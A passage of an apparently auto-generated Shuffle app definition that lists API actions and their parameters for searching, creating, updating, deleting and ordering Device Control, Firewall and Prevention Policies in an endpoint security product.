description: The offset to start retrieving records from - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The maximum records to return. [1-5000] - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The property to sort by - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: search_for_device_control_policy_members - label: Device Control Policies - Search for members of a Device Control Policy in your environment by providing - an FQL filter and paging details Returns a set of host details which match the - filter criteria - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The ID of the Device Control Policy to search for members of - name: id - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The filter expression that should be used to limit the results - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The offset to start retrieving records from - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The maximum records to return. [1-5000] - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The property to sort by - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: search_for_device_control_policies - label: Device Control Policies - Search for Device Control Policies in your environment by providing an FQL - filter and paging details Returns a set of Device Control Policies which match - the filter criteria - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The filter expression that should be used to limit the results - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The offset to start retrieving records from - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The maximum records to return. [1-5000] - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The property to sort by - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: search_for_device_control_policy_member_ids - label: Device Control Policies - Search for members of a Device Control Policy in your environment by providing - an FQL filter and paging details Returns a set of Agent IDs which match the filter - criteria - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The ID of the Device Control Policy to search for members of - name: id - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The filter expression that should be used to limit the results - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The offset to start retrieving records from - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The maximum records to return. [1-5000] - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The property to sort by - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: set_precedence_of_device_control_policies - label: Device Control Policies - Sets the precedence of Device Control Policies based on the order of IDs - specified in the request The first ID specified will have the highest precedence - and the last ID specified will have the lowest You must specify all nonDefault - Policies for a platform when updating precedence - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: perform_action_on_the_device_control_policies - label: Device Control Policies - Perform the specified action on the Device Control Policies specified in - the request - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The action to perform - name: action_name - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: retrieve_a_set_of_device_control_policies - label: Device Control Policies - Retrieve a set of Device Control Policies by specifying their IDs - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The IDs of the Device Control Policies to return - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: delete_a_set_of_device_control_policies - label: Device Control Policies - Delete a set of Device Control Policies by specifying their IDs - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The IDs of the Device Control Policies to delete - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: create_device_control_policies - label: Device Control Policies - Create Device Control Policies by specifying details about the policy to - create - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: update_device_control_policies - label: Device Control Policies - Update Device Control Policies by specifying the ID of the policy and details - to update - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: search_for_firewall_policies - label: Firewall Policies - Search for Firewall Policies in your environment by providing an FQL filter - and paging details Returns a set of Firewall Policy IDs which match the filter - criteria - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The filter expression that should be used to limit the results - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The offset to start retrieving records from - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The maximum records to return. [1-5000] - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The property to sort by - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: set_precedence_of_firewall_policies - label: Firewall Policies - Sets the precedence of Firewall Policies based on the order of IDs specified - in the request The first ID specified will have the highest precedence and the - last ID specified will have the lowest You must specify all nonDefault Policies - for a platform when updating precedence - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: perform_action_on_the_firewall_policies - label: Firewall Policies - Perform the specified action on the Firewall Policies specified in the request - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The action to perform - name: action_name - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: search_for_firewall_policy_member_ids - label: Firewall Policies - Search for members of a Firewall Policy in your environment by providing - an FQL filter and paging details Returns a set of Agent IDs which match the filter - criteria - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The ID of the Firewall Policy to search for members of - name: id - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The filter expression that should be used to limit the results - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The offset to start retrieving records from - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The maximum records to return. [1-5000] - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The property to sort by - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: search_for_firewall_policies - label: Firewall Policies - Search for Firewall Policies in your environment by providing an FQL filter - and paging details Returns a set of Firewall Policies which match the filter criteria - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The filter expression that should be used to limit the results - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The offset to start retrieving records from - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The maximum records to return. [1-5000] - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The property to sort by - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: retrieve_a_set_of_firewall_policies - label: Firewall Policies - Retrieve a set of Firewall Policies by specifying their IDs - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The IDs of the Firewall Policies to return - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: delete_a_set_of_firewall_policies - label: Firewall Policies - Delete a set of Firewall Policies by specifying their IDs - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The IDs of the Firewall Policies to delete - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: create_firewall_policies - label: Firewall Policies - Create Firewall Policies by specifying details about the policy to create - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The policy ID to be cloned from - name: clone_id - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: update_firewall_policies - label: Firewall Policies - Update Firewall Policies by specifying the ID of the policy and details to - update - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: search_for_firewall_policy_members - label: Firewall Policies - Search for members of a Firewall Policy in your environment by providing - an FQL filter and paging details Returns a set of host details which match the - filter criteria - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The ID of the Firewall Policy to search for members of - name: id - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The filter expression that should be used to limit the results - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The offset to start retrieving records from - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The maximum records to return. [1-5000] - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The property to sort by - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: search_for_prevention_policy_members - label: Prevention Policies - Search for members of a Prevention Policy - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The ID of the Prevention Policy to search for members of - name: id - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The filter expression that should be used to limit the results - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The offset to start retrieving records from - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The maximum records to return. [1-5000] - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The property to sort by - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: search_for_prevention_policy_ids - label: Prevention Policies - Search for Prevention Policies in your environment by providing an FQL filter - and paging details Returns a set of Prevention Policy IDs which match the filter - criteria - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The filter expression that should be used to limit the results - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The offset to start retrieving records from - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The maximum records to return. [1-5000] - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The property to sort by - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: search_for_prevention_policies - label: Prevention Policies - Search for Prevention Policies in your environment by providing an FQL filter - and paging details Returns a set of Prevention Policies which match the filter - criteria - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The filter expression that should be used to limit the results - name: filter - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The offset to start retrieving records from - name: offset - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The maximum records to return. [1-5000] - name: limit - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: The property to sort by - name: sort - example: "" - multiline: false - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: set_precedence_of_prevention_policies - label: Prevention Policies - Sets the precedence of Prevention Policies based on the order of IDs specified - in the request The first ID specified will have the highest precedence and the - last ID specified will have the lowest You must specify all nonDefault Policies - for a platform when updating precedence - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: retrieve_a_set_of_prevention_policies - label: Prevention Policies - Retrieve a set of Prevention Policies by specifying their IDs - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The IDs of the Prevention Policies to return - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: delete_a_set_of_prevention_policies - label: Prevention Policies - Delete a set of Prevention Policies by specifying their IDs - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: The IDs of the Prevention Policies to delete - name: ids - example: "" - multiline: false - options: [] - required: true - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token - Accept-Encoding: application/json - Content-Type: application/json - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - - description: Add or edit queries - name: queries - example: view=basic&redirect=test - multiline: true - options: [] - required: false - configuration: false - tags: [] - schema: - type: string - skip_multicheck: false - unique_toggled: false - executionvariable: - description: "" - id: "" - name: "" - value: "" - returns: - example: "" - schema: - type: string - authenticationid: "" - example: "" - auth_not_required: false - source_workflow: "" -- description: "" - name: create_prevention_policies - label: Prevention Policies - Create Prevention Policies by specifying details about the policy to create - nodetype: action - environment: Shuffle - sharing: false - privateid: "" - publicid: "" - appid: "" - tags: [] - tested: false - parameters: - - description: Add or edit headers - name: headers - example: "" - value: |- - Authorization: Bearer $auth.access_token 